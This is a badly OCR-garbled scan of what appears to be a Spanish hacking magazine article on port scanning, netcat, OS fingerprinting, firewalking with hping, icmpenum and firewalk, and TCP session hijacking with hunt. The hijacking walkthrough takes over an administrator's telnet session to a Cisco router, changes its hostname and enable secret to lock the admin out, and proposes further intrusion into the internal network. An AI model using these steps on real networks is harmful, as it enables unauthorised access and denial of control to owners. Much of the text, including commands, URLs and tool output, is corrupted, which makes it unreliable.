La sintaxis anterior, escanesria el rango de
puartos 20 3 S00 de laip 172.28.0.99 v, en
el supuesto que cxistiese un IDS 0 que el
ordenador del jefe dotacte <f escanee,
apareceran todas las IP's que siguen a la
opclen -2, pur o gue nu sabre a ciencia Lienea
de donde vino 2l escaner de puertos.

nmap tiene muchas opriones daliles;
fragmentacion, s=Nuelus, lemporizacidn,
expleracidn inversa, deleccidn del sislema
aperative, etc. Algunzs fas usaemos &n
apartacos posteriores, otras ya fusron
explicadas en nimercs anteriores de fa revista,
sin embarge cref conveniente mostrar estos
us0s puLsto que ro fucron comentados con
asta amplitud en =1 dia

NETCAT

Netcat =5 olfra de las herramientas gue no
deben faltar... s multivsos, igual nes sirve
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ha habilitado tres

- Hack x Crack
servidorese parak?u- puadas realizar las

practicas de hacking.

= Las IPs de los servidores de hacking las
encontraras en EL FORO de la revista

{www.hackxcrack.com). Uns ez ar of fore entrs
er la zena COMUNICAZQS CE CK X CRACK {arriva del
tedo) v verds varios comuricades relaciorados con oS
sefvidarea, No penamae lac (P aqui parque at hueno
acnstunbrarte 3 enkrac en el foro y leer los comunicados.
Sinhay dlguns incenca o cambio de IP o |2 que sea, se
cemunictard ¢n EL FORD,

- Actualmente tienen el BUG del Code /

Decode. La rorma de “explotar’ este bug la explicamos
“xtensament= en [0S nimercs 2 v 3, Lo dejaremas as' por
ur tlenpo (Dastenle liempo [} Nuesira intencian es Ir
habilitendo servidores a medida que o3 ensefiemes distintos
tisos da Hack.

~ En los Servidores corre el Windows 2000 con el 1IS
da Sarvidor Webd. NC hemos parcheado ningle bug, ni
Lan siquiera ¢l RPC y por supuesto tampaco nemos nstalado
ningun Service Pack. Para quien piense que €50 ¢s un errer
(Jhglco si tenmmos en cuenta ?lle ¢l RPC provaca gna %acda
cemplera dal sc;(emo), solo dacirte gue AZIMUT ha
configurado un frewa'| desde cere que evita ¢l Sug del
R2C, (Bloqueo de 1os puertas 135 {1eofudp), 137 (udp).
136 {udp), 445 {tcp), 533 (kp)). La Int2pcion de t0de esto
83, precisanent2, que pusdas practicar tanto coa =l
CARE/DECODE cnma con cualauiar ntro “hug’ qQue conozcas
(¥ hay clentos!!l). Puco & pocs Iremas cambiando la
configuracios en tuncion de & experiencla, Iz ides ¢s tener
toc Servidores ‘o menos parcaeadse posiblés  pero
mantererios opentives 13s 14 horas del diz. Por todo 2ilo
y dmbico a posibles cambios de contiguraciin, no olvides
veitar al faro élona Cemunicados) antes de "panatrar® en
nuextros servidares,

+» Cada Seivor tene dos daloadzs (Uiscos dures dures):
* L2 unidac c: --> Con 40GB y Raiz el Sistema

* La unida¢ d: --> Con 40GB

S LI UNIGEC @1 > CO-ROM

Nota: Raly del Servidar, significa que ¢ Wingows Advarced
STIVEer este Instalade en 2ss unided (1 unided ) ¥y
concretamente 2n ¢ dircctoro per defecto \winatl
Por 10 tanto, e 1ai: del sistzma esld en C:\winnty

- €l 115, Iniernet Information Server, es 2 Sevidor de
paginas Web y tiene fu raiz en c:linetpud (el directorio
por defgcto]

fota: farg quien nuaca ha tenide instalado el 115, le terd
wxirana Lento ei nombie de 2513 (3rpety (<inetpsb) come
SJ conicnide. Pero Dueno, un dia de ¢1105 05 enseharenos
a instalar veestro prop o Servidor Yoo (IS} v detallaremos
=4 funcionamiento.

De momento, Io unico que hay que saber es que cuaado
TU pongas nuestra IP (la 1P de und O DUEST aS Servidores)
en tu aavegador (el Internct cxplorér 2or exemplo), lo que
cstds hactiendo r¢almente o3 ir al girectorio
chAlnelpudiwviiraoty y ICer Un 31CNIvOo Hamado de'suit.nlm.

fota: Como curiosidad, te direnos gue APACHE ez otro
Servidor de pagmas Vet ($€quUrd QUée has oido nablar de
él}. Situviesemoas instalado el spache, cuando pusieses
ruestia (P on TU naveoador, accederias & un directorio
13z dél Apache (donde se Fubiese Instalade) ¢ 1teaterias
kzer une pagina llamada index him! ... pero.. lqus te
estoy contando?... s Mhas seguido nuesira revist: va
geminas de sobras el APACHE :3

Explicamas 510 porque '3 Mayoria. $€QuUI0 que piensa an
en servidar Web comme 30 8130 oxtrafic que no caben ni
donde esig nl (oMo se accede. Bueno, pues ya sabes adnde
se encuentran fa mayoria de 1IS (en “Inetpudi) v cudl es
la pdgine por defesto (\Inctpusiwawrookt\default htm) ¥
anora, Eiens« an peca.. ., ¢Cual es uno de los odletivos de
un hecker que quiers cecirle sl mundo gue ha hackerda
ung Web?® Puss e3te Jderg, ¢ objetivo ox cambdiar (o sastiteir)
el archivo delaull.timl dor vAS procio donde dig: “hola,
50y DIOCS ¥ he nacleads sty Web”™ {=5¢ 51 ¢5 un Imer ;)

A partir de ese momento, cralqu 2ra que dceeda 3 ose
servidar, verd 2l default.ntm modificaga para vergiansza dul
“si%e” hackeado, ESIC €5 mur Qensrico pera o3 2ara una
ides de cono finciond ¢310 dé hackear Webdbs )

- C2ando 3cCeCds 3 nuestro secvicor mmdiante «l CODE /
DECODE 3UG, croa un divactario ron tu nombre (¢ que moe
L¢ guste, no nos des tu DALY en 1o unigad di a sur
posble y a partic de ahora utiliza eze ditectotia paia hacer
tus préclicas. Ya sabes, sublrnos pregramiles v practicar
conellos 2} ... ... ({cOdMO? Jque No SODCS CIEdT OIECIONDS
mediante el CODEJOECODE BUG... repasd 10s nUmMros ! ¥
tres de Fack » Crack :p

Puedes crearte ty directerio donde quisias, no 65 nece4nria
que sea en dymellamoiuan, Tlenss Lolal lberted!!l Una
idgea es trearlio, por gienpio, en
driexx\systemI2iecfauRi 10019901 \melamoluan {ya Fax
aprendicndo QueE cuento mas ccnlftas mejor @)

Cs pusibicmenta lg primara vaz que tanoe 13 cportundad
de Investigar en un servidor CEMo st sin cumeler un delito
&nc&otros té dojamos ¥ por 19 taniu nadie te perseqguird).

provechs 13 Cportunidazill v investigo micnires cure ¢Ita
iniciativa {esperemos que mechos anos!.

= En este mements tenemox mas de 800 carpetas de pena
que, como tu, esta praclicando. As que hnznss Satd vy ¢ea
1y Dropis caetpela donde trabajar,

IMPORTANTE..,

MUY

MUY IMPORTANTE! ! por aver, no bores s chives
del Seevidor 85 po sabes exsclamcnte lo goe casds hacindo ﬂ.
borres kas cupetas d¢ 105 detnds usaios. Si haces cso, b (recn
QU2 CONSIZUES BN quo ICEEANIDs i parar ¢ Maling Rrvidee
v, nuendras tanto, ni W al oadie puede disfrutar de ¢l o
L's wra tonurni et ‘romper™ ¢l Servidor, 1o Gemas pueste
pars que disfinte txdo of BIINGS S0 SORT TN, pars e 108
el mendo puedn Crrse su CRIPeta ¥ peatican e Ios SR
En 2! Servidur s hay ni Warer, m Pragramas, nn cloves, nl nads
Az noda que “roher”, esan seesador Lspio pora ‘11 por lo tant
culdilo un poquite ¥ montarzmos mucios ods ¢
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pore escanear pusrtos gues para reslizaers
corexianes Inversas ¢ ..., ufff muchas cosas. ...

Aungue sus posiolidadss coma escaner na
son muy utilizadas, veamos ura manera de
usarlo:

s e Ta T L e s ass
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Acabamos de escanear oS puertes TCP del

2 a 25 del servidor de pruebas de
hackxcrack.

Exsben numercsos escaneres v exploradores
de puerlos v servicos, incluso son auténicos
analizadores de vuinerabilidadas, entre los
Mas interesartas TonNeMmos;

Retina, SuperScan, ISS, Cops, Nessus,
NetScan, Saint, NetSait v un largo etcétara
de ellos, no 25 el ebjelo de este habler de
ellos, no obstante, no estara de més que
incluyeras alguno de los nombrades
anteriormente a tu celescién,

Fingerprinting

Aunque la mavoria de los escaneres utilizan
téenicas de dsteccian del sistema aperative,
hay alaunas kerramientas especificas de elle,
¥Yeamos qJé es ¥ algunas utilidades.

Fl OS-Fingerprinting ronsiste on avariguar
el Siskerma Operativa de Lna maguina remcta,
para detectarlo s¢ utilizan dos métedoes:;

i.- Escaneo Activo, probar puertcs ablertcs
vy hacer las suposiciores de la mdguina
2.- Escaneo Pasivo, no imparta que los
puerios estén ablettos

Un rastreo active €s aquel que descubre
puertos significativos de un eguipo, es
una técnlea Yagresiva® pucsto gua intentars
prebar diches puertos para establecer la

conexion Y overnguar sioorre an determinads
servicic o no, imacina una maqulna con pueras
abiertos como el 1329, 445 135, 3389 casi
con toda prebanildad puede ser un Windows,

Un rastreo pasivo consiste en hacer un
saguimiento da la Pila de protocolos
TCPJSIP v realizar una supasicidn razonabls
dzl Sistema Cperativa que corre un host,

Las rastreos paslvos son mas sigilosos
PUEsio Que nu eslabletan und conexion comag
tal, si puaden escanearan puertos ablertos
pero no <& preciso que los hava...

éPor qué funciona un rastreo pasiva?
R: Pargue muchas sistemas aparativas "Sroan”
sus pilas TO? con determinslas paramutiros,

las “firmas pasivas” mas frecuentes estén,

En la Cabecera [P

TL Elcompe fomal Lengts, Longtud 1otal dal pequets
El inzremento en 2l canmoo IdentNoatorn (IP-X0)
TTL Tiermoo de vica del gacues: saliette

En |a Cabecera TCP

Tamaho de la ventara 101 {1 L2 Window Size)
El bit de No fragmentacién (DF)

El campo Opclones de TCP, sobretodo las
opciones Maximun Segment Size y SACK

Tamblen se pueden cmar otres valores, el
cesc es gue juntando al maras esos
parametros vy observanco sus respuestas
padremas bacemoes una idea dal tna de
slztema Operative que corre un =istema
Rermota,

[2nTo para Winagows como para LivUX hay un
mantan de programas que utitizan el rstrea
pasivo para averiguar e Sistema Operativa
de un hest, yo te recomendana:

QueS0, nmap, Cheops, xprobe, pof.
siphon, THC, eltercap, winfingerprirting.
algunas salo para Lloux otras en amkbas
plataformas, no te costara encontrarlas per
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la red, son muy conccidas v e recomiendo
que utilices mas de una, no siempre los
resvitacos son sabistactorios, hasta el
administrador del equipo remoto puede haber
falseado hs respuesias ante alounos de esteos
programas y encentrarnos con resultados
equivacados.

Vamos a ver algunc de €los:

jzxwuum\ s uvl" Py V0 € 172, 20,000

(Stestoag heap Vo 3 0 1 e Grsecace atgiveap) |
AYOR LT frte an Baching (7Y W0 00

(he 2502 parts mernied ot 3vt shoesr Selow atw La state: closed!

L | AT L) Mrvice
LAy g Lo
LY g pin TSN e
’%»a’tcp apen sorasolt-de
CWENCLO e M-I
Miwlrep  2pen wey)
WAL Rep. apan umr

[ Bowale oot inng synben penss i Wigkos MlTown e BE00w D0e), Kog 2008, or
»

nop ree completad <o 1 [ sodemae (L Sckt wp) scaresd In L teciod
\mdlh\u Ty mu'

UL Wi BIAETR
Olre herramienta bastante Gtil v muy versém

es pof

| A enconframes en:

http://lcamtuf.coredump.cx/p0f-
devel.tgz en su version “redente” o tambieén

la varsién 2.0.3 en:

http:/flcamtuf coredum&cx{_gﬂf.gg;

'( para '-'dndows en:

1,{network—maggln9190flp0f-2 0 3-wln32-

binary. zip

De heche te recomiendo que k2 eches un
vistazo a:

hitp:/fwww. miorors wiretapped. net/security/

Encontraras utllidedes muy Interzsantes,
alguna de ellas las necesitaramos en gste
articulo,

POf tiene muchas opciones, veremos algunas
que pueden resultar Interesantas:
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Hay mas, pero para Ioa ejem;»os que nos
atafien, nos serviran estas.

v 190 g e Aot

g LR e S

A T T e 1]
R N Ll e
Hﬂ'- G g 1N <0 49 L ob dipy X0 gaednied mide: w1f,
U000 000« tardaer TENIIA VP ) (e o f € WL O s 2 06 Mot f. Tk eToecdmr §
P2 B RN - ARt G300 D=, AT WA DA I A LIS = AL I R R, LR, DRy ey B :
LRI RSN - Froen DONTD XTI e B N RSN A AN Sy B b aaakun el
3 AR EN 1 - R ARG . A W 1N % Xl e AR S i 8y Eeb b ebe )
P B B T N
S RTRE S S S S e L A B L R I L L Ll
AN RN T TAGE Om e YT 4 TS AL I it 3 Bk abenectieac )

vemos que detecté sistemas Wmduws
(17228 0.9 v 172.28.0.50) y un Linux
(172.28.0.200)

Incluse e pocemos poner "regias”, por ejempln,

sl @anzamos pfid en modo promisclo pooe ro

gueremas capturar 0s paquetes de una
cererminada 1P, 1o hariamos 2si:

POf —p —1 “not src host 172.28.0.200"
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Tam AL o1 gl L e ey e AT e

¥ pemiev e PEpaE R r O, Ol 104 v

B e LI T T R SRR S T P S —

CX Lt hg TIVRE ow SOMET, SO0 sigw B33 geemded o 20er YO M Soe DR AL 8 000

A0 203 BC0LITY Wi A A, W D DO N S L GEDT o LR 00 M AR (et . 1L L e

R R o R L P TP Wb w e |

Aunque ya hemos dicho que pOf existe
también para Windews, @ mi me gusta ctra
para este sistema operativo, buenc, tamben
existe en LINUY, pero por ver otra mas... se
llama Winfingerprint,

heep /S, mimors. wiretapped. nat/securit

{netwarke-mapp ngfwinfingerprioat
Jwinfingerprinti 0022002.zip

Que ya de pass, ademas de escansar, nos
olrece bastante informacién cemo usuarios,
recursos compartidos, caves del registro,
discos, etc.. Y por su pueslo el tpo de sistema
aperativo

ﬁmrm-w Pum ’ Fawm

1]

ALt i B ) :: QN»_ORQ'“ ﬂw ;‘,“m
1
I

AR A
3 _ v f1a2¢ 2
' , i X SRR PP = 5. 32
RS N wﬂamus ovoe 11 [ia:4

anu Bz Shiers _J

i bien tiene muchas opcionas, una prucba
sencllla la pueces cbtener utilizanda
% simplemznte esta sintaxis:

L C R R B
.--u

1

1 B Rl R L el L I S T = TN -u
] B T L kil L e LU oo L S )

B FEVAD Lol DAw s Flalin 200 Btsaliom 0T 13ens pove :vr
LU S AT 300N T g S Bdewweils Winlews 0% Bariwutl s TR (et prabibine (RS
1o e dia daw I-h‘uv Ty e A ST TR ELOILLEY D ORI Y
i

.

'

1

1

vs

e AT M Lming O S irme Iy Mol N Sevow Saawies Ace l‘ lhss N
ST GOt S e RO MR 000 T SLYCe e 4 13 pa Bl f e,
S OMAYL oo s

N Komr AL alile’
B

Lown d oy vt omeyre S ey |

oD SN gt Rt e ) O RO S R T bo-;pu‘llh-:
Bt AR WA W Vg AP 4 et B WDkt A Mo S bnmhes frph o Ve Pevewhd | P Y

Recverda cambiar la IP por la gue deseds
averiguar el sstema operativa y te dara las
prodabihdades del Que descubra,. . coma #n
el gjempio antericr

SPOOFING ¥ HIJACKING

Burlr, =ste serfa una largs lista, al
principio hice referancia a ettercap
y hont, acui me voy a centrar en
hunt, 2an una web "amiga”, ., amiga

Toaen W ozasenc Kvamen o St My querida, puedes encentrar un

;i m g .“.‘,_él':f_?' “manual paso a pasoe” de como usar
odmc W«'m own-o.f_. Em I Hertercap, por ese motivo obviaré

e !l cualguser sjempl de errercap y me
|l Himitaré a enlazarte el magnifica
Gemness LAY mcticulo.

2 paw ity

NIRRT AT L L AP TORA
AN BT FOMAR R yEr

Asle KT WONKESTANOM

Sl AN s noee Mok chares
FolE L IO 0N Sy
Pode: o Reonst

Pde Tervany' ot

; COTEEIK
-a.mes Hhaves
Forre: Mawcanvwentie Curs Logundad Rerren:

HHTo DIedes adeark

Mirre 1FCE Rervaw i (M serata

TR RS TEO 08 CL MO Iy walyon (TP ]
Wirre D8 damack Soou s arodete e edo
Wi o Rawgek

XAV IS I Kerar:

, C——ar e

Tiws: Stena sharoresarves far pearprosens creenan vton [IPCS! o reseche edve nbrat on o e ¢

LoS gue Son asikiues de NUesiros rmros
sedurd que ya saben a guien me
refierc., 8 nuestrc amige Cyruxnet,
no dejéis de leer este link

hitp://cynuxnet.com.ar/ettercap.ntm
Y también, cémo no, en el articuio

14 de esta revista se Inicid una
préctica de secuestre de sesiones "a
mano", muy rudlmcntano, gcro

WRETRE [

Tambén debenas “orcbar” xprobe para LINUX,

http:};’www.}y&-

A TS » " |l efectivo y sobre todo, muy Gtil para
T — m-——;u entendear como funciona €l Ayacking

y las cemunicadianes TCP, lo pedéis desca-gar
aqui:

sacurity.com/archivetools,xprobe2/»probe2 -
dJ.2.5argz

Fagina 46

http: /fwww.forohxc.comfhljacking/articulol
4/hijaking. pdf
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Vamos a usar Aunt... veamas,

pongémonos en situacién

boua aerd';danasaccraobbseqm' 105, $€ Nos

caerd el prio, acf que advertidos eqtéis.
- Juguis con €53 Conexicn o tendrdis probiemas

‘o a-mplc,mcnte_- S5 nogarIn . al accoro.

El caso es que nuéttro admin, Esta rabaando
en ¢ router

Fsta viendo la tabla de rotas v borré lo"
ultmos octetcs de by diveccon (P pam mantener
"ol mistario’

Hombre... e5ards pensande Gque memida
fagna para @l dsco 2500, bueno, pugs no es
asﬁ.mmﬁowonaaéfsqw(amdem
w‘)soylmmm ereific porOwo
Mvmhbmmmmdms
&setatadeonmvterdcwmdﬂmde
capnaede vcm'ad,pmaa e .'amzomde
pmebas,
momawm, bsmmnoa‘amé Sinoes
kmlmmcsaloqmqmmosham s/ lvego
COGOIMOS E5€ router v (0 ublizamos Como

no babré wabx‘emn i

No te preocupes 31 no 5200: nada sobre ¢
funcionemiento de un router dsco, pare o e
YaMOS 3 reavzar sdlo Has de saber tjrie a un
router ge estas caractersticas pusdes maer
COmMo ysuariy aerm&l" @ COMO VEaric
prvile3do, mmn«mm ver
mums CONNGUIICIONES pero no 'as oveden
madmcar el usuano. pn‘vl!ealado es of guie
tiene control TOTAL sobre fe rouler...

mamenu el usuano privilegiado timne
AUESO mediente W pessvord, mdwe, clave

PC FASO A PASD N° 22
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qua dekonoccmes entre olras cosns prrque
|a sesicn YA ESTA ESTABLECIDA y e In
que s rate es de secuestrata,

Lo que vamos hacer es lo siguiente:

Le camblaremos ¢! nombre al rogter, el
OSSSWord g adiin, ¥ luego resetearemoes
{# ronexidn, ecto on un router cisco se
hace asi:

end. esta orden regresarz: al primer nivel
de eomandos

configure terminal, abrimos la
contguracion cel medo gebal del router

hostname VIC, ¢l rovier pasara a
lamarse ¥IC en lugar de yo-mammie-2,
esto reaimente no INLéresa pueste que ol
administrador eakendora rapidaments qus
alge paso, perc es un 2jemplo.

enable secretvicthori23, camblamos
a2l paggsword cal ysuario privilegado

end, regresarmox al princkio

disable, caiimos de mace privilegiado,
as‘ cuanco se vuelve a reconecter el
administrador, la pedird el pasaword, .,
password que ya no sabrs...

Y luego desde el prope huat mataremos
Ia conexion, ¢! admniatrador lagitima ia
perderd v cuando se intente [guea de
NUCYd, NO podrs porque ke camblaren o
pass, obvizmentle tampoco NOS interesars,
sl el verdsdero agmnistrador no puede
entrar, pedrd 2 EEUU que resetown el pass
o ul rouker ¥ se mosquaarna... podriamos
haber Creado un PUEVe usuario con
arivileglos de adminstragor,., 250 seria
mnas apropado
=iemplo. ..

pern, on fin, esta a5 un

Pero antes, vamos 3 eiecutar hunt... v a
corfigurario, (o primero descargares hunt

htip://packetstormsecurity. ni/sniffers
Zhunt/bhunt-1.5.tgx

St
Sisastanst raf e,

No hay :ciip!
directamente a make && make install y o
lanzaremoes desce 21 direccono d2 inswlaccn
gue hayas elegide mediante ./hunt

Jeenflgure... pasaimes

My

Axbas e We Jrewis )

Ce todas edas opcionss, para eita praclica
debemas cambiar:

r) Resst ACK siomm ticnont v ponerie a O (cero)
s srope hgak omd tinecot tambiéa 3 O (cero)
) arp req spocl 1hosan e, lo cambilamos & no (n)
W) SWICKS RIS, Y SIRenemos Un switch o n si
binemos s hob

¢ kcam MAC ‘e [P oafic, o cambinras a pes (y)
VO VENVOES, ZONeiN 10 0TS 3 yes ()

Las Demas s podemas dear como estan ¥y
se quedara asi:

FW-"‘M%

d

|
|

i
\
|
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v por Gltimo pulsamos s para ragresar
(return) 2| mend principal,

R e S
(At Lot 2w Taedod y Apel

R e A A T T T e e s i A AT A et

Alnague podemos secuestrar fa seslén de
verias farmas, hasta convertir a Aok ern ur
SOfor o usar téoncas ¢ arp-spoofing {ver
revista nimero 11, articulo dsniff) yo Ic
vuy o explicar de otra manera, vames a
configurar & demonio sniff {opcién d) v
VEreImes esto;

R wrot B LA s rd e cse w1t

Seleccienarmoes s, sniff daemon

NRELG B bl LS

¥ shara pulsames en 2 v lo conf

Como sigue.

Mramos

< i
{6VI¢- BN Da Tenks | Aty '
ii e
et N T
) ’ el oo boaee !
i1
- ]
il
|
J 5

Te recuerdo que la 1P de! administ-adar
‘precavido” vra la 172.28.0.50, /16 es la

PC PASO A PASO N° 72

mascara de subred (255.255.0.0) y el
puerto por el gue s2 va a conectar es 23
(telnet), 5| U redysJorad ¥ mascaras son
diferentes cambxa esos vabores, Lo demés lo
poONeEs coma ests,

Después de contigurarlo, pulsas en s (start
daemon) v x para regresar al meno
anterior, y de nuevo x para flegar hasta ef
mant principal.

Si tado fue Bien, desde el rmend principal pulsa
1 {lisk) para ver las canexiones =stablecidas
POr la maquing /2. 28.0. 58

FAxter

\-éle, va esla cdesvelado el “secreto”, la IF &
la que se conecta es 64.7.18.193, corertadn
al puerto 23 y desde 2l puerto dindmice, ¢n

2525...

cl jemplo ¢5:

Anora pulsaremos en § (simple hijack) y
sacuastraremos lag veeion, vecriciremos los
comandos coma 51 estuviesemaos trénte al
rauter Z500 de cisco v reseteargmos la

conaxion,

Pulsamos en s y €legimuos la conexion, soin
hay una que es la 0

Selecclonames 0 como conexian, i en dump
v los comandos que deseamas...
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v S R T

124

f.y:f.n BN Yo Tevied ¥ ol

[ Anliyy. Réte v Tapled ¥ Apal

i

|
|
...... ‘ 2

&l verdeders administrador 12 habea pasade

acto an su linea da comandos.. pt.-rr.in';': Ia

conexion,

Tacred s

Cuarnde vuelhva & reconectarss, poded pensar
que Fue un error provocade por cuglquier
cosa, nada enorrmal.,, 1€ pasara estc olro:

LO primero que ve, 8s gue "su router” YA NO
SE LLAMA yo-mommie-2, sino VIC...y su
password... YA NO VALE...

Pagna 30

Luege, rosatres,,. desde nuastro equipo
hacemas un telnef a 12 [P del router v
acceceremos sin reblemnas, enable y ef pass
victhorl23 y se acabo...

Esto que acabamaos de bacer €s un elemplo,
obwviamernte No nteresa cambiarie el pass,
& suyo hubiera sido hacer "olras cosas”,
mapear un puerto, creav un une! fe conexian,
madificar 195 ACL's para poder pasar 3 fa rod
interna.., vamas guc hay bastantes
pasibilidades, claro cue ademds de hunt
deberiamos saber administrar un routercona
DNos manda’ v mic sl e un CISCD
dsponemas del lzberalorio de pruebas, Lqué
te parsce si tras osta scrle de articulos
empezamos un curso de administracién
de routers?

y A CLRe

.
-1
¢ wia.

-

] de
verdad”, con este laboratorio disponemnaos d=
hasta 3 rowlers para Lraéstear, uno para
acrender los mandatos del sistema operativog
de CISCO (108) e incleso, s/ nog reglsirames

roulers CISCO, can routers "de

i comic e debe, podemos tener accese 4 olres

recdrses v a mas outers, bueno, &l ¢s Interesa
espera vuedras deas v comentarios pur las
foros oo hatkxcrace.

Por sl no os acordais ¢
"'.lpf)""\'-"-\"" hackxcracy i‘f.'ulﬁ," rndex Q}‘-'\

Firewalking:

Frewa'king es "tanteac” un firgwall, Intentar
"pasar' o al mencs, oC3CUbNr 0% puenos gue
fitra y i 80 puede, atravesano, lo ce siamnpre...,
hay Infinidad de ellas, expondré tres:

hping, lcmpenum y firewaik
HPING
Es un desariptor de pagquetes TCR/IP y podemaos
usarla para probar las ACL's de un reuter yia

firawal.

http://www hping.org’hping2.0.0-re3 targe

For eiemple. wveamoas como funciona. .. primere
Faremas ur pfng a un sarvidoer
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L S L L L
PRI IS COUC W PLIE <Gl e RE e e
PTG vy s ow (207, M0 AP0 05] from 170 22,830 = SA184]) bytie of daa.

1 e we phag wtalloriec
2 pechats traewiined, O recolived 00K Jiam, tise 360ea

| re¢19 L te e~ ru mr]!

Sin respuesta, ahora probemcs con hping
haclz el puerto 80

acwo GE Nar Yerkwo ko Ak
[Ts0te 1imu-chd FWOE [0 NPUGE s arasy a3 — T -3 -p B
SIPING wowe. prups ox Cetly? ZA7. TR 15%, 6811 5 mat, o beadary
TewAh ApdAY, T0,38,00 tELedl0 IF LA Lot
teziAL A o

ARt IOAT SR SR RS (TTATIA I TOLIRINA ARt e
454352 w
|

i--- ek Ay e Rping smatietic

13 operkets srariited, 2 packe.x reowmaswd, OF gackel lows
Tround-rrdy eieShpliniee = LIS RAIN 50088 2 es
[lomt®linmrhe sntid

En l¢s circulos rojos observaras que ia senal
ICP recihida es SA (SYN+ACK) que es
sintcma de que el servicio esta abierto... sl
hubiésemoas recibido un RA {(RST+ACK) el
servicio estaria carradoe, incluso padeamaoc
encontrarnos ton respusstas del tipo 13
{Prohibido por &l administrador) sintoma de
que af puerto esta filtrado o contiene una
ALL,

ICHPENUM

htep o Swwaw. bindview, com/Resources/RAZO
R/Files/icmpenum-1.1.1.t92

Es una herramienta que utiliza paquetes del
tipo FTIMESTAMP 0 ICMP INFQ, en lugar de
los habituales ICMP ECHO ¢ ICMP REPLY.
{nuestros querdos ping y pong)

Es hahitual encontrarse routers y/o ffrewalls
que no bhauean todo el trafico TCMP, hien
por desconccimiento o por desidia de su
adminlstrader, s decir, el rouvior asta
configurado para rechazar los ping de redes
externas, pere no tiene fillses para olios

paquetes ICMP,

Con esto el adminictrader "piensa” que los
pings aue hagan a su router seran rechazados,
v no le falta razin, veamos un gjempio corktra
un router

PC PASO APASC N 22

[eeet @l vones vhl Lomywrom -2 1. 104 ghay <2 PR3 00
C8C 172,580 30 (412, 23.5.590) froe L02.25.0.200 : SA184) detew uf eta

g... 172 3% ¢ 0 piag srariericy ——-
l! pockere Timmamittid, O recwived, 100W Lo, Tire 1atiwe

- l’rutﬂim 8113 urun--:l.l. l)c

Ahcra vamos 2 probar que pasa sl le envieamos
unz solicitud ICMP del tipe TIMESTAMFP

LIgniag for repliiee an wiyi: uk Mo
F128.0.%0 i»

A% 9% byt far 172.28.0.30

whal wapwulndd PRCEsTa Conrved '

el wrespreted pakate moedved 1 0
[resmdliracech zomperen-1.3.012

Observa que s2 utilizé ~s 1.1.1.1 es0 permite
ralszar 12 IP que soiicita la petcion (spooing)
y |2 opcion =p que pondsa ia interface etho
en modo promiscue, -1 2 €3 la solicitua
TIMESTAMP, para mas informacidn ejecuta
un . ficmpenun —h

Para comrprobar los resuitados puse a tepdump
a trabajar antes da enviar |a peticién

: ntm reandsed by fllier
b pKCele Soagas Uy Aoned
(mdultya-{’“‘:a_o‘\):_

Resaltadn en azul
ze muectra el
envio,.. ¥y en rojo
la respuesta...
realmente no se
treta de un
rovtér, €s un
pottatil con XP y
activade el
Flrewall
denegando el
trfico 1CMP Bty \ : ' L Naros §HT o ues S et e

permitiendo los | OrSera (4 WA, TENY P (1O 1 B

TINESTAMP, Lt

JOME Paokannio o i cxrd wue §Xe
oo do und 60 CONCaT D VOOD) 58 ealads 7 O,
r

oo sckchudon e rioewavily o lrimwd 2l g o
wopaca smimonvdes ’

'D WM*MO*M

L) Paceie solesd de sow oacks sobunds

(o Parpis doileo vikooradde caherve

D Pawis soarts Or vertd Oo Do kascs et 1

Ao o0 Faariagtt bOead; § 690 SPEO oA RewAn
LT
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No es que sea 2l mejor de las ejemplas, pero
seguro que o “ves" mas claro que si te pongo
una ACL extendida del router... para el casn,
seria lo mismo

Sivas a vtllizer icmpenum, necesitards las
lorerfas tibpcap (como en tértas otras, al
final os pondre todas 1as lbrerias y
dependencias que s& necestan para las
utilidades que sstamos vienda) y tamblén el
compllador gec, para generar @l ejecutable
iempenam deberds cormpilado dal sigulente
macde:

ALK

Cuanto menos es una herramienta "curiosa”,
ingeniosa en su funcionamiento.. la
encentraréis en:

LN et eva walk tarn

¥ necesita dependencias de lbnet, libpcap
Y libdnat, instdlatelac en ase ordan v las
puedes epcontrar en estes enlaces:

http: /71 Ibdngt.sog;ggforgo,neg

firewalk permite determinar el conjunto de
reglss de un dispositivo de filtraco de paguetes
£amo puade ser un router o un firewais,
asignanda una red “por detrds” del fireveais
que rechace o admita dichos paquetes,.,

Pare elic hay que conocer ¢es cosas:

P La 1P dal Firewall o la [P corodda def ditimo sato.
P La IP del host que quersmos escanear.

La primera direccion 1P se utiliza como
trampolin {ramping} y fa dtima es el objebvo
@ @ocangar

con un ciempla fa veremps mas clara,
supcngamos (gue ne es asil que uno de los
servidores de pricticas de hackxcrack dispone
de un frewall que flltra |os accesos a fa red,
cuande escanezmos una 1P de dentra de esa
red, nos encontrames que el frewall rechaza
ESCS INteNtos, asl que veamos como LSar este
programits. .

Par un lado tenamos 13 IP 8 cscancar:
62.57.101.243, esta sera =i ohjetivo.

Pagina 52

Y por oo el frewall, este no lo sabemos...

bueno, lo simularemos.. hagamas un

traceroule a ¢sa IF g ver que sala.

IBM W et vy

Lewni 6 ilrey chE rooslh TETATAte G20, 100, 20

WA arle Do RIONT U 34 N2 MU 2R 2R A0, MNP gty

TN AR A TATE A k) haemw e sarem e 4,950 o .
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Hice trampas... realmentz la salida de
traceroute "May mas” pero RImy Bsly Bs un
elemple, (3 corté en la linea 9.

El caso s que si fuese un caso real, pocemaos
suponer que el Aost 62.100,96,74 ¢5 el router
o flrewall que protege a la red/host
62 57.101.243, nuestre objetivo,

Lu que ramuos a hacer £5 gscaneal ese Hos(
usando oMo trampolin la propia [P del firanall,
niuestra Nerremienta enviard paquetes con un

tlempe de vida {TTL) justo antes e cagucar,
por lo que las respuestes gue Oblengs serdn
servicios activos en ese host.

Fara no alernizarnos con €l gscaneo,
probaremos los pusrtos 23, 25 y 006, auvnque
podrian ser mas... perec vale, un ejemplo es
ufn ejen‘plo:

mwwmrw foa e 1"' AN
st dwre- 1y £33t e Phoweslt -0 [+ H u a (i‘!l k. u o s u o uq M.
et 3.0 [ganewiy Wi, s=atrer|
TICOmIE WA TesCle G e campdeved seasesiuip
e nsed ston.
FArptrg PN FEETCY 07T N, BT INTIN fRITY guil
WA hragh R0 ET R TE st €3 30 100 16D an w sabris
mley an
¥ oyired (U 200
L apled lasvanR|
©fapirer [03.0.54.9)
Desplovd Ioen]
s empised [233.0.250.10
(.'- capiled £200,0.301,053)
T expiowd (165140408
0T TepsT
P04 wwplend 2300000040
Firdig kool roxhed,

i P E )
7

peet B A gee g Liste [0 .57, 85,34

e comlersd raziesailly.

Pl pushana amans ‘e
Eid packet wear:
canal awkeTA cxges
L e S S L L
Ehaned mxns maves

m;g'.o ey

e ew

PC PASO APASON® 22



Bien, astd claro.,. nuastra magquina objetvo
tienz al meros el puerto 80 abierto,

